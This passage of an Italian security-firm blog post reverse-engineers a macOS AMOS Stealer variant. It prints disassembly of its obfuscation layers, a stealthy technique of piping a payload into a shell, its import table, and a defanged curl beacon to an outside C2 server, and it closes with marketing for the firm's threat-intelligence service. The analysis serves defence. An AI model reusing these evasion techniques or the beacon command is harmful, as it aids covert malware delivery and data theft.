",[1704,14590,14245],{"style":13597},"));\n  *(",[1704,14593,14236],{"style":13573},[1704,14595,13783],{"style":13573},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1704,14598,13584],{"style":13573},")uVar5 + (uVar6 ^ bVar2);  ",[1704,14601,14602],{"style":13564},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1704,14605,13862],{"style":13597},";\n} ",[1704,14608,13935],{"style":13573}," (uVar7 != uVar5);\n",[525,14611,14612,646,14615,13745,14618,1199],{},[567,14613,14614],{},"Istanza B",[578,14616,14617],{},"FUN_10007a7e0",[578,14619,14620],{},"0x10007a7e0",[852,14622,14623],{"style":13122},[13560,14624,14625,14569,14628,3464,14631,14575,14633,14075,14635,14637,14638,14583,14640,14075,14642,14644,14645,14591,14647,14075,14649,14596,14651,14599,14653,14603,14656,14606,14658,14609],{},[1704,14626,14627],{"style":13564},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1704,14629,14630],{"style":13597},"0x9f",[1704,14632,13851],{"style":13573},[1704,14634,14236],{"style":13573},[1704,14636,13783],{"style":13573},")local_c0 +\n          ((",[1704,14639,13614],{"style":13573},[1704,14641,14236],{"style":13573},[1704,14643,13783],{"style":13573},")local_a8 + uVar5) ^ uVar6) & ",[1704,14646,14245],{"style":13597},[1704,14648,14236],{"style":13573},[1704,14650,13783],{"style":13573},[1704,14652,13584],{"style":13573},[1704,14654,14655],{"style":13564},"// identical counter update formula",[1704,14657,13862],{"style":13597},[1704,14659,13935],{"style":13573},[525,14661,14662,14663,14665,14666,14668],{},"L'algoritmo è strutturalmente identico, ma il contatore iniziale è diverso (",[578,14664,14572],{}," vs. ",[578,14667,14630],{},") e le lookup table risiedono a indirizzi di memoria diversi. L'istanza A viene invocata dallo stato 11 della macchina a stati per generare l'alfabeto di codifica del primo percorso del payload. L'istanza B viene invocata dallo stato 6 per generare l'alfabeto per il decode del grande payload di shell script.",[525,14670,14671,14672,14675,14676,14679,14680,14683],{},"In termini precisi: si tratta di una ",[567,14673,14674],{},"cifratura a sostituzione con indice dipendente da un contatore",". Ogni byte di output è un lookup su tabella, in cui l'indice è ",[578,14677,14678],{},"(input_byte XOR counter) & 0xFF",". Il contatore si aggiorna dopo ogni byte come ",[578,14681,14682],{},"counter = (i + (counter XOR output)) & 0xFF",", il che significa che ogni byte di output influenza la determinazione del successivo indice di lookup. Ne risulta una catena di dipendenze sull'intera sequenza di output: il byte N non può essere decifrato senza aver decifrato correttamente i byte da 0 a N-1. La decodifica parziale o l'analisi degli errori diventano così molto più complicate.",[525,14685,14686],{},"Nessuna delle due istanze è RC4 standard. Non c'è una fase di inizializzazione della S-box, non c'è alcuna operazione di swap della S-box. Le lookup table sono costanti statiche, incorporate a compile-time.",[13091,14688],{},[887,14690,14692],{"id":14691},"layer-6-xor-a-runtime-con-chiave-dipendente-dallexit-code","Layer 6: XOR a runtime con chiave dipendente dall'exit code",[525,14694,893],{},[525,14696,14697,14698,14701],{},"L'ultimo livello, il più impegnativo dal punto di vista analitico, applica una trasformazione XOR in-place al payload di Stage 2. La chiave XOR non è hardcoded, ma viene derivata a runtime dall'exit code della ",[567,14699,14700],{},"prima esecuzione del payload shell",", e in questo modo non è, in linea di principio, determinabile tramite analisi statica. La binary deve essere effettivamente eseguita e il primo shell script deve arrivare fino alla fine, perché la chiave possa esistere.",[525,14703,14704],{},"La sequenza di derivazione della chiave nel dispatcher ARM64 della macchina a stati:",[852,14706,14707],{"style":13122},[615,14708,14711],{"className":14709,"code":14710,"language":620},[618],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[578,14712,14710],{"__ignoreMap":529},[525,14714,14715],{},"Il loop XOR che elabora il payload di Stage 2:",[852,14717,14718],{"style":13122},[615,14719,14722],{"className":14720,"code":14721,"language":620},[618],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[578,14723,14721],{"__ignoreMap":529},[525,14725,14726,14727,14730,14731,14734,14735,14737],{},"La chiave è un valore a 16 bit, derivato dal byte di exit status del primo payload shell, moltiplicato per ",[578,14728,14729],{},"0x7f0"," e sommato al valore corrente del registro contatore di base ",[578,14732,14733],{},"w26"," della macchina a stati. La costante di moltiplicazione ",[578,14736,14729],{}," fa sì che una differenza di un solo bit nell'exit code produca una chiave completamente diversa. Non c'è alcuna continuità sfruttabile tra valori di chiave adiacenti.",[525,14739,14740],{},"Senza eseguire la binary in un ambiente controllato e senza registrare l'esatto exit code del primo payload shell, il payload di Stage 2 rimane definitivamente opaco all'analisi statica. È stato l'ostacolo più difficile di tutta l'analisi.",[13091,14742],{},[740,14744,14746],{"id":14745},"esecuzione-shell-pipe-al-posto-degli-argomenti-e-xor-simd","Esecuzione shell: pipe al posto degli argomenti, e XOR SIMD",[525,14748,746],{},[525,14750,14751,14752,13745,14755,14758],{},"La funzione di esecuzione shell ",[578,14753,14754],{},"FUN_10000091c",[578,14756,14757],{},"0x10000091c"," è la componente architettonicamente più interessante della binary. Qui converge tutto: il payload decodificato, il nome del comando offuscato e un design esplicito di anti-forensica. Ogni scelta progettuale in questa funzione ha uno scopo specifico di evasione.",[887,14760,14762],{"id":14761},"passo-1-il-nome-del-comando-non-compare-mai-in-chiaro","Passo 1: il nome del comando non compare mai in chiaro",[525,14764,893],{},[525,14766,14767,14770,14771,13745,14774,14777,14778,14781],{},[578,14768,14769],{},"/bin/zsh"," non esiste in nessun punto della binary come testo in chiaro. Nella sezione ",[578,14772,14773],{},"__cstring",[578,14775,14776],{},"0x1007bb5c8"," la stringa è memorizzata come byte offuscati ",[578,14779,14780],{},"\\x01LG@\\x01T]F",". La decodifica avviene a runtime tramite una singola operazione XOR, verificabile direttamente nell'assembly ARM64:",[852,14783,14784],{"style":13122},[615,14785,14788],{"className":14786,"code":14787,"language":620},[618],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[578,14789,14787],{"__ignoreMap":529},[525,14791,14792,14793,14796,14797,14799,14800,14803],{},"La chiave XOR è ",[578,14794,14795],{},"0x2e",", il valore ASCII di ",[578,14798,613],{}," (punto). La decodifica avviene in una singola istruzione ",[578,14801,14802],{},"eor v0.8B, v0.8B, v1.8B",", un'istruzione vettoriale ARM64 NEON che esegue lo XOR di tutti gli 8 byte contemporaneamente. Usare un'istruzione SIMD per un semplice decode di 8 byte è insolito e ha due effetti: è più rapido di un loop byte per byte, e il pattern di istruzioni generato è radicalmente diverso dai loop di decode scalari su cui gli strumenti di signature matching sono addestrati.",[525,14805,14806,14807,646,14810,646,14813,646,14816,14819,14820,613],{},"La verifica è semplice: ",[578,14808,14809],{},"0x01 XOR 0x2e = 0x2f = /",[578,14811,14812],{},"0x4c XOR 0x2e = 0x62 = b",[578,14814,14815],{},"0x47 XOR 0x2e = 0x69 = i",[578,14817,14818],{},"0x40 XOR 0x2e = 0x6e = n",", che nei primi quattro byte forma ",[578,14821,14822],{},"/bin",[887,14824,14826],{"id":14825},"passo-2-larchitettura-pipe","Passo 2: l'architettura pipe",[525,14828,893],{},[525,14830,14831],{},"Dopo aver decodificato il nome del comando, la funzione crea una pipe di OS e forka:",[852,14833,14834],{"style":13122},[615,14835,14838],{"className":14836,"code":14837,"language":620},[618],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[578,14839,14837],{"__ignoreMap":529},[525,14841,14842],{},"Nel processo figlio:",[852,14844,14845],{"style":13122},[615,14846,14849],{"className":14847,"code":14848,"language":620},[618],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[578,14850,14848],{"__ignoreMap":529},[525,14852,14853,14854,14857,14858,14861,14862,14864],{},"Il processo figlio sostituisce il proprio standard input con l'estremità di lettura della pipe e avvia ",[578,14855,14856],{},"/bin/zsh -s",". In modalità ",[578,14859,14860],{},"-s"," la shell legge i comandi da stdin. Per gli strumenti di process monitoring questo processo appare come ",[578,14863,14856],{}," senza argomenti, indistinguibile da una legittima sessione shell interattiva.",[887,14866,14868],{"id":14867},"passo-3-write-in-chunk-di-dimensione-variabile","Passo 3: write in chunk di dimensione variabile",[525,14870,893],{},[525,14872,14873],{},"Il processo padre scrive il payload decifrato sull'estremità di scrittura della pipe in chunk di dimensione volutamente variabile:",[852,14875,14876],{"style":13122},[615,14877,14880],{"className":14878,"code":14879,"language":620},[618],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[578,14881,14879],{"__ignoreMap":529},[525,14883,14884,14885,14888,14889,8776,14892,14895,14896,613],{},"La formula per la dimensione del chunk ",[578,14886,14887],{},"(remaining_length % 192) + 64"," genera valori tra 64 e 255 byte per chiamata di write, a seconda della lunghezza residua del payload. Il pattern di write variabile è visibile in strumenti di kernel event tracing come ",[578,14890,14891],{},"ktrace",[578,14893,14894],{},"dtrace",", ma non produce una signature di dimensione fissa riconoscibile. Ogni esecuzione dello stesso payload produce una sequenza diversa di dimensioni di syscall ",[578,14897,14898],{},"write()",[525,14900,14901,14902,14904],{},"La ",[578,14903,13633],{}," di 1 microsecondo tra i chunk ha un secondo scopo: rilascia la CPU tra le scritture, mantiene piatto il carico di CPU ed evita un picco improvviso che una regola EDR di tipo behavioral potrebbe segnalare come burst I/O anomalo.",[887,14906,14908],{"id":14907},"passo-4-pulizia-immediata-della-memoria","Passo 4: pulizia immediata della memoria",[525,14910,893],{},[852,14912,14913],{"style":13122},[615,14914,14917],{"className":14915,"code":14916,"language":620},[618],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[578,14918,14916],{"__ignoreMap":529},[525,14920,14921,14922,14925],{},"La chiamata ",[578,14923,14924],{},"_bzero()"," azzera l'intero buffer del payload decifrato immediatamente dopo l'ultima scrittura sulla pipe. Nessuna finestra temporale, nemmeno di un microsecondo, in cui il payload decifrato resti in memoria dopo la fine dell'esecuzione. Un memory dump live effettuato subito dopo il ritorno di questa funzione trova solo zeri dove prima c'era il payload.",[525,14927,14928,14929,14932],{},"La tecnica si chiama ",[567,14930,14931],{},"zero-after-use",", la stessa usata dalle librerie crittografiche ad alta sicurezza per impedire che del materiale di chiave rimanga in memoria. Vederla in un commodity malware è insolito e suggerisce uno sviluppatore con background di security engineering.",[887,14934,14936],{"id":14935},"la-sequenza-di-esecuzione-completa","La sequenza di esecuzione completa:",[525,14938,893],{},[852,14940,14941],{"style":13122},[615,14942,14945],{"className":14943,"code":14944,"language":620},[618],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[578,14946,14944],{"__ignoreMap":529},[740,14948,14950],{"id":14949},"la-import-table-come-arma","La import table come arma",[525,14952,746],{},[525,14954,14955],{},"La import table completa di questa binary:",[852,14957,14958],{"style":13122},[615,14959,14962],{"className":14960,"code":14961,"language":620},[618],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[578,14963,14961],{"__ignoreMap":529},[525,14965,14966],{},"In totale 27 simboli. Ciò che manca è almeno tanto significativo quanto ciò che è presente.",[887,14968,14970],{"id":14969},"assente-rete","Assente: rete",[525,14972,893],{},[852,14974,14975],{"style":13122},[615,14976,14979],{"className":14977,"code":14978,"language":620},[618],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[578,14980,14978],{"__ignoreMap":529},[887,14982,14984],{"id":14983},"assente-filesystem","Assente: filesystem",[525,14986,893],{},[852,14988,14989],{"style":13122},[615,14990,14993],{"className":14991,"code":14992,"language":620},[618],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[578,14994,14992],{"__ignoreMap":529},[887,14996,14998],{"id":14997},"assente-introspezione-dei-processi","Assente: introspezione dei processi",[525,15000,893],{},[852,15002,15003],{"style":13122},[615,15004,15007],{"className":15005,"code":15006,"language":620},[618],"getpid      getuid      getenv      sysctl\n",[578,15008,15006],{"__ignoreMap":529},[887,15010,15012],{"id":15011},"assente-crittografia","Assente: crittografia",[525,15014,746],{},[852,15016,15017],{"style":13122},[615,15018,15021],{"className":15019,"code":15020,"language":620},[618],"CCCrypt     SecItemAdd  SecKeychainFind\n",[578,15022,15020],{"__ignoreMap":529},[525,15024,15025,15026,646,15029,15032,15033,646,15036,15039],{},"In un sample di malware tradizionale ci si aspetta di trovare import di rete (",[578,15027,15028],{},"socket",[578,15030,15031],{},"connect",") o di file (",[578,15034,15035],{},"fopen",[578,15037,15038],{},"write","). Questa binary non ne ha nemmeno uno. Per uno scanner standard sembra un innocuo process launcher, e questo è voluto: una scelta architetturale deliberata che fa girare a vuoto gli strumenti di analisi statica.",[525,15041,13445,15042,15044],{},[578,15043,13448],{}," non compie di per sé il furto. Il suo unico scopo è depositare ed eseguire il vero payload malevolo, un AppleScript fortemente offuscato. Un EDR o un AV che cerca binary malevole vede qui un loader senza I/O di rete o file e può classificarlo come pulito, senza riconoscere che la binary è un sistema di consegna specializzato per un payload script di alto livello.",[13091,15046],{},[556,15048,15050],{"id":15049},"la-backdoor","La backdoor",[525,15052,562],{},[525,15054,15055,15056,15059],{},"L'incidente non è finito dopo la compromissione iniziale. La telemetria di Microsoft Defender ha mostrato un processo che girava da ",[578,15057,15058],{},"/Users/\u003Credacted>/.mainhelper"," e interrogava un server esterno:",[852,15061,15062],{"style":13122},[615,15063,15065],{"className":2782,"code":15064,"language":2784,"meta":529,"style":529},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[578,15066,15067],{"__ignoreMap":529},[1704,15068,15069,15072,15074],{"class":1706,"line":1707},[1704,15070,15071],{"class":2791},"sh",[1704,15073,13327],{"class":2799},[1704,15075,15076],{"class":2795}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[525,15078,15079],{},"La stringa Base64 si decodificava in una device UUID di 16 byte, l'identificativo univoco che l'infrastruttura C2 dell'attaccante aveva assegnato a questo dispositivo il giorno dell'infezione iniziale.",[525,15081,13445,15082,15085,15086,15089,15090,613],{},[578,15083,15084],{},".mainhelper"," (SHA-256: ",[578,15087,15088],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") era stata installata il giorno dell'incidente dal dropper osascript tramite ",[578,15091,13324],{},[13091,15093],{},[556,15095,15097],{"id":15096},"la-forza-dello-scudo-collettivo-la-nostra-shared-threat-intelligence-platform","La forza dello scudo collettivo: la nostra Shared Threat Intelligence Platform",[525,15099,562],{},[525,15101,15102],{},"Quando nel nostro SOC scatta un alert, l'orologio non inizia a correre solo per il cliente colpito, ma per ogni organizzazione sotto lo scudo di glueckkanja. Questa indagine su una variante di AMOS non documentata rende evidente cosa significhi l'Intelligence Gap nella pratica: una finestra temporale rischiosa, in cui i vendor tradizionali sono ciechi perché non hanno ancora visto la minaccia.",[525,15104,15105],{},"È qui che la nostra Shared Threat Intelligence Platform proprietaria dimostra il suo valore, sviluppata in esclusiva per i clienti glueckkanja CSOC. Non aspettiamo gli update del settore, li generiamo. Mentre i nostri analisti smontavano ancora gli ultimi layer dell'assembly ARM64, la nostra Automated Orchestration Engine stava già distribuendo gli indicatori estratti su tutto il nostro ecosistema. Ne risulta una immunità di gregge: ciò che viene scoperto su un singolo endpoint diventa nel giro di minuti una minaccia bloccata per ogni organizzazione sotto la nostra protezione.",[525,15107,15108],{},"La security reattiva non funziona contro minacce che scivolano di proposito attraverso le crepe dei meccanismi di difesa convenzionali. La risposta sta nel combinare l'expertise umana con un'architettura che mette quella conoscenza subito in campo e su scala. Grazie al nostro modello di Shared Intelligence, il vantaggio temporale dell'attaccante si ribalta: i nostri clienti sono protetti prima ancora che la minaccia venga riconosciuta dal settore.",[846,15110,15111,15116,15119,15122],{},[525,15112,15113],{},[567,15114,15115],{},"Nota sulla privacy",[525,15117,15118],{},"Le informazioni identificative sono state anonimizzate in questa pubblicazione. Dettagli tecnici specifici, indicatori e timestamp possono essere stati leggermente modificati per garantire la protezione continua dell'ambiente colpito, senza compromettere l'integrità tecnica dell'analisi.",[525,15120,15121],{},"Le analisi tecniche e gli Indicators of Compromise (IOC) contenuti in questo report hanno finalità puramente informative e formative. Vengono forniti al meglio delle nostre conoscenze. glueckkanja AG non fornisce garanzie esplicite o implicite in merito a completezza o accuratezza e non risponde di danni, perdite o incidenti di sicurezza derivanti dall'uso delle informazioni, delle regole o delle signature qui condivise. Consigliamo di validare tutti gli indicatori e le regole in un ambiente controllato prima di metterli in esercizio.",[525,15123,15124],{},"Gli indicatori e le tecniche descritte possono sovrapporsi a famiglie di malware note e non sono attribuibili in via esclusiva a una singola campagna.",[12801,15126,15127],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":529,"searchDepth":530,"depth":530,"links":15129},[15130,15131,15132,15133,15140,15141,15142,15143,15151,15158],{"id":13113,"depth":530,"text":13114},{"id":13148,"depth":530,"text":13149},{"id":13205,"depth":530,"text":13206},{"id":13236,"depth":530,"text":13237,"children":15134},[15135,15136,15137,15138,15139],{"id":13245,"depth":2088,"text":13246},{"id":13259,"depth":2088,"text":13260},{"id":13273,"depth":2088,"text":13274},{"id":13282,"depth":2088,"text":13283},{"id":13299,"depth":2088,"text":13300},{"id":13455,"depth":530,"text":13456},{"id":13535,"depth":530,"text":13536},{"id":13648,"depth":530,"text":13649},{"id":13713,"depth":530,"text":13714,"children":15144},[15145,15146,15147,15148,15149,15150],{"id":13728,"depth":2088,"text":13729},{"id":14015,"depth":2088,"text":14016},{"id":14268,"depth":2088,"text":14269},{"id":14453,"depth":2088,"text":14454},{"id":14540,"depth":2088,"text":14541},{"id":14691,"depth":2088,"text":14692},{"id":14745,"depth":530,"text":14746,"children":15152},[15153,15154,15155,15156,15157],{"id":14761,"depth":2088,"text":14762},{"id":14825,"depth":2088,"text":14826},{"id":14867,"depth":2088,"text":14868},{"id":14907,"depth":2088,"text":14908},{"id":14935,"depth":2088,"text":14936},{"id":14949,"depth":530,"text":14950,"children":15159},[15160,15161,15162,15163],{"id":14969,"depth":2088,"text":14970},{"id":14983,"depth":2088,"text":14984},{"id":14997,"depth":2088,"text":14998},{"id":15011,"depth":2088,"text":15012},{"lang":12951,"seoTitle":15165,"titleClass":12953,"date":15166,"categories":15167,"blogtitlepic":15168,"socialimg":15169,"customExcerpt":15170,"keywords":15171,"maxContent":325,"asideNav":15172,"footer":15187,"contactInContent":15188,"published":325},"Variante di AMOS Stealer: reverse engineering di un malware macOS sconosciuto","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Una variante di AMOS Stealer finora non documentata ha compromesso un endpoint macOS. Nessun hash noto, nessun dato C2 nei database pubblici. Il nostro SOC ha smontato sei livelli di offuscamento, estratto tutti gli indicatori e distribuito la protezione a tutti i clienti SOC nel giro di poche ore, prima ancora che il settore avesse visto il sample.","AMOS Stealer, macOS Malware, Reverse Engineering, analisi malware, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS Security, Stealer Malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":15173},[15174,15177,15179,15182,15184],{"href":15175,"text":15176},"#lincidente","L'incidente",{"href":15178,"text":13114},"#stage-1-verifiche-sandbox",{"href":15180,"text":15181},"#stage-2-analisi-della-binary","Stage 2: analisi della binary",{"href":15183,"text":15050},"#la-backdoor",{"href":15185,"text":15186},"#shared-threat-intelligence","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":15189},{"bgColor":15190,"headline":15191,"subline":15192,"level":740,"textStyling":13018,"flush":13019,"person":15193,"form":15199},"var(--color-gk-dark-blue)","Contattaci","Vuoi sapere come la nostra Shared Threat Intelligence Platform ti protegge dalle varianti di malware sconosciute prima ancora che il settore ne venga a conoscenza? Contattaci.",{"image":15194,"cloudinary":325,"alt":15195,"name":15196,"quotee":15196,"quoteeTitle":15197,"quote":15198},"/people/people-jan-geisbauer-csoc.jpg","Ritratto di Jan Geisbauer, Head of Security di glueckkanja","Jan Geisbauer","Head of Security","Il pericolo di questa variante non era la complessità tecnica, per quanto notevole. Il pericolo era la finestra temporale. Senza Shared Threat Intelligence gli altri clienti sarebbero rimasti scoperti per ore, mentre noi eravamo ancora in fase di analisi.",{"ctaText":13033,"cta":15200,"method":12949,"action":13036,"fields":15201},{"skin":13035},[15202,15203,15204,15205,15206,15210,15211,15213,15216,15218,15219,15220],{"type":13039,"id":13040,"value":13041},{"label":13043,"type":620,"id":13044,"required":325,"requiredMsg":13045},{"label":13047,"type":620,"id":403,"required":325,"requiredMsg":13048},{"label":13050,"type":13051,"id":13051,"required":325,"requiredMsg":13052},{"label":15207,"type":15208,"id":10681,"required":484,"requiredMsg":15209},"Il tuo messaggio","textarea","Inserisci un messaggio.",{"label":13054,"type":13055,"id":13056,"required":325,"requiredMsg":13057},{"type":13039,"id":15212,"value":235},"_topic",{"type":13039,"id":15214,"value":15215},"_location","World",{"type":13039,"id":13059,"value":15217},"Form: Blog AMOS Stealer CSOC | IT",{"type":13039,"id":13062,"value":13063},{"type":13039,"id":13065},{"type":13039,"id":15221},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":13077,"description":13083},"posts/2026-04-10-incident-to-intelligence",[13071,15226,15227,15228,13072],"Incident Response","macOS Security","Malware Analysis","WIfAvqtm_L8vVo7BvVQZacXq3l0USmWpyOko1FSxQlI",[],{"id":15232,"extension":15233,"meta":15234,"stem":8,"__hash__":15239},"authors_data/authors.json","json",{"Pascal Asch":15235},{"display_name":520,"avatar":15236,"permalink":15237,"linkedin":546,"imageOffsetTop":15238},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","66%","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383986893]